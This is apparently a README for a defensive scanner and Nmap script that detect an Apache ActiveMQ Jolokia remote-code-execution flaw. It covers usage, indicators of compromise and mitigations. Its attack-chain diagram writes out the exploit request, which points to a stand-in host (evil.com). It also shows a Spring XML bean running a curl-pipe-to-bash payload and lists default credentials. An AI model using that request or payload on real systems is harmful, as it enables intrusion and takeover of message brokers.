keraattin/cve-2026-34197Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability.
A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnector(String) MBean operation through the Jolokia API (/api/jolokia/). The attacker embeds a malicious brokerConfig parameter pointing to a remote Spring XML file, which ActiveMQ fetches and parses, instantiating arbitrary Java objects and achieving code execution.
On ActiveMQ versions 6.0.0 through 6.1.1, the Jolokia endpoint is , making this a zero-click unauthenticated RCE.
This vulnerability was hidden in the codebase for 13 years before discovery with AI assistance.
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-34197 |
| Vendor | Apache Software Foundation |
| Product | Apache ActiveMQ Classic |
| Affected Versions | All versions before 5.19.4 and 6.2.3 |
| Unauthenticated RCE | Versions 6.0.0 through 6.1.1 (Jolokia has no auth) |
| CVSS v3.1 | 8.8 (High) |
| CWE | CWE-94 — Improper Control of Generation of Code |
| Attack Vector | Network |
| Authentication | Required on 5.x; none on 6.0.0 to 6.1.1 |
| User Interaction | None |
| Exploit Maturity | Public PoC available |
| Patched In | ActiveMQ Classic 5.19.4, 6.2.3 |
| Age of Bug | ~13 years in the codebase |
| Discovery | AI-assisted vulnerability research |
Apache ActiveMQ Classic is one of the most widely deployed open-source message brokers in the Java ecosystem. It implements the Java Message Service (JMS) specification and serves as the backbone of asynchronous communication in thousands of enterprise environments worldwide.
ActiveMQ handles everything from order processing queues and financial transaction pipelines to IoT telemetry streams and microservice event buses. If your organization uses Java-based microservices, event-driven architecture, or any form of asynchronous messaging, there's a good chance ActiveMQ is somewhere in the stack.
ActiveMQ Broker
┌───────────────────────┐
│ │
┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐
│ Producer │───────▶│ │ Message │ │───────▶│ Consumer │
│ (App A) │ send │ │ Queue / │ │ recv │ (App B) │
└──────────┘ │ │ Topic │ │ └──────────┘
│ └───────────────┘ │
┌──────────┐ │ │ ┌──────────┐
│ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │
│ (App C) │ │ │ Jolokia │ │ │ (App D) │
└──────────┘ │ │ API (:8161) │ │ └──────────┘
│ └───────┬───────┘ │
└───────────┼───────────┘
│
⚠️ CVE-2026-34197
Attack surface here
When an attacker compromises ActiveMQ, they don't just get a shell on one server. They sit in the center of every message flow in the organization, able to read, modify, redirect, or inject messages between critical systems.
JMX (Java Management Extensions) is the standard management interface for Java applications. It exposes "MBeans" (Managed Beans) that allow monitoring and control of the application internals. ActiveMQ exposes MBeans for managing brokers, queues, topics, connections, and more.
Jolokia is a JMX-over-HTTP bridge. It translates JMX operations into a RESTful JSON API, making it possible to manage Java applications through HTTP requests rather than requiring a dedicated JMX client.
ActiveMQ Classic ships with Jolokia built in, accessible at /api/jolokia/ on the web console port (default: 8161).
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
This is where the trouble starts. Jolokia exposes the full power of JMX management through a simple HTTP API. And one of the MBean operations available on the broker is addNetworkConnector(String).
The addNetworkConnector(String) operation is designed to create network bridges between ActiveMQ broker instances. It accepts a URI string describing how to connect to another broker.
ActiveMQ supports a vm:// URI scheme for in-process broker connections. These URIs support a brokerConfig parameter that points to a Spring XML configuration file. And Spring XML can instantiate arbitrary Java objects.
Here's the full chain:
Step 1: Attacker sends POST to /api/jolokia/
┌────────────────────────────────────────────────────────────┐
│ POST /api/jolokia/ │
│ { │
│ "type": "exec", │
│ "mbean": "org.apache.activemq:type=Broker,brokerName= │
│ localhost", │
│ "operation": "addNetworkConnector", │
│ "arguments": [ │
│ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │
│ ] │
│ } │
└────────────────────────────────────────────────────────────┘
│
▼
Step 2: ActiveMQ parses the vm:// URI
Sees brokerConfig=xbean:http://evil.com/pwn.xml
│
▼
Step 3: ActiveMQ fetches http://evil.com/pwn.xml
(outbound HTTP request from the broker)
│
▼
Step 4: The XML is parsed as Spring configuration
Spring instantiates beans defined in the XML
│
▼
Step 5: Malicious bean executes arbitrary Java code
┌──────────────────────────────────────────┐
│ <bean class="java.lang.ProcessBuilder"> │
│ <constructor-arg> │
│ <list> │
│ <value>/bin/bash</value> │
│ <value>-c</value> │
│ <value>curl http://evil/sh|bash │
│ </value> │
│ </list> │
│ </constructor-arg> │
│ </bean> │
└──────────────────────────────────────────┘
ActiveMQ is doing exactly what it was designed to do: loading a broker configuration. The problem is that the configuration source is controlled by the attacker, and Spring XML is effectively a code execution format.
This is what elevates the vulnerability from serious to critical:
| ActiveMQ Version | Jolokia Auth Status | Impact |
|---|---|---|
| 5.x (< 5.19.4) | Authenticated (defaults: admin:admin) | Auth'd RCE, often trivially bypassed |
| 6.0.0 to 6.1.1 | Completely unauthenticated | Unauthenticated RCE |
| 6.1.2 to 6.2.2 | Authenticated | Auth'd RCE |
| 5.19.4+ / 6.2.3+ | Patched | Not vulnerable |
On ActiveMQ 6.0.0 through 6.1.1, the Jolokia endpoint requires zero authentication. Anyone who can reach port 8161 gets unauthenticated remote code execution.
Even on versions where Jolokia requires authentication, the default credentials admin:admin are widely known and frequently left unchanged in development, staging, and production environments.
Immediate impact on the broker host:
Downstream impact (via message manipulation):
Enterprise risk amplification:
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Version | Status |
|---|---|
| ActiveMQ Classic 6.2.3+ | Patched |
| ActiveMQ Classic 5.19.4+ | Patched |
| ActiveMQ Classic 6.0.0 to 6.2.2 | Vulnerable (6.0.0 to 6.1.1 = unauthenticated) |
| ActiveMQ Classic < 5.19.4 | Vulnerable (authenticated) |
| ActiveMQ Artemis | Not affected (different codebase) |
The Python script detects vulnerable ActiveMQ instances through a multi-step analysis.
How it works:
/api/jolokia/ is accessible without authentication (HTTP 200 = open, 401 = auth required)admin:admin, user:user, admin:activemq/admin/ and / pages for ActiveMQ version strings using regex pattern matchingorg.apache.activemq:type=Broker to confirm the exploit path existsNo exploit payloads are sent. No commands are executed. The scanner only observes endpoint accessibility and version information.
Usage:
# Install dependencies
pip install -r requirements.txt
# Single target
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
# With custom credentials
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
# Bulk scan from file with verbose output
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
# HTTPS with SSL verification disabled (default)
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
# Increased timeout for slow networks
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
Options:
| Flag | Description | Default |
|---|---|---|
-t, --target | Single target URL (e.g., http://host:8161) | — |
-f, --file | File with target URLs, one per line (# comments supported) | — |
-u, --username | Username for Jolokia authentication | — |
-p, --password | Password for Jolokia authentication | — |
-o, --output | Save results to JSON file | — |
--timeout | Connection timeout in seconds | 10 |
--verify-ssl | Enable SSL certificate verification | Disabled |
-v, --verbose | Verbose output with full details | Off |
Example output:
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
# Install the NSE script
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb
# Basic scan
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia <target>
# Scan a subnet
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
# Multiple common ports
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia <target>
# Scan targets from a file
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
# With service version detection
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia <target>
Example Nmap output:
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
If you want to check manually with curl:
# Step 1: Check if Jolokia is accessible (should return JSON if open)
curl -sk http://<TARGET>:8161/api/jolokia/ | python3 -m json.tool
# Step 2: Check with default credentials (if Step 1 returns 401)
curl -sk -u admin:admin http://<TARGET>:8161/api/jolokia/ | python3 -m json.tool
# Step 3: Check MBean accessibility (safe read-only query)
curl -sk http://<TARGET>:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=* \
| python3 -m json.tool
If Step 1 returns a JSON response with Jolokia agent info, the endpoint is unauthenticated. If Step 2 works with default creds, you have authenticated access. Either way, if the broker MBean is accessible, the exploit path exists.
Watch for these signs in your environment:
| Indicator | Where to Check | What to Look For |
|---|---|---|
| Jolokia access | Web console access logs | POST to /api/jolokia/ containing addNetworkConnector |
| Outbound fetch | Network logs / firewall | HTTP requests from ActiveMQ to unexpected external hosts |
| Spring XML loading | ActiveMQ logs | References to xbean:http:// URIs |
| Network connectors | Broker configuration | vm:// URIs with brokerConfig parameters you didn't create |
| Child processes | Process monitoring | Unexpected processes spawned by the ActiveMQ Java process |
Investigation commands:
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Immediate actions (do these now):
/api/jolokia/admin:admin on the web consoleShort-term (this week):
addNetworkConnector operations)Long-term:
Kerem Oruç — Cybersecurity Engineer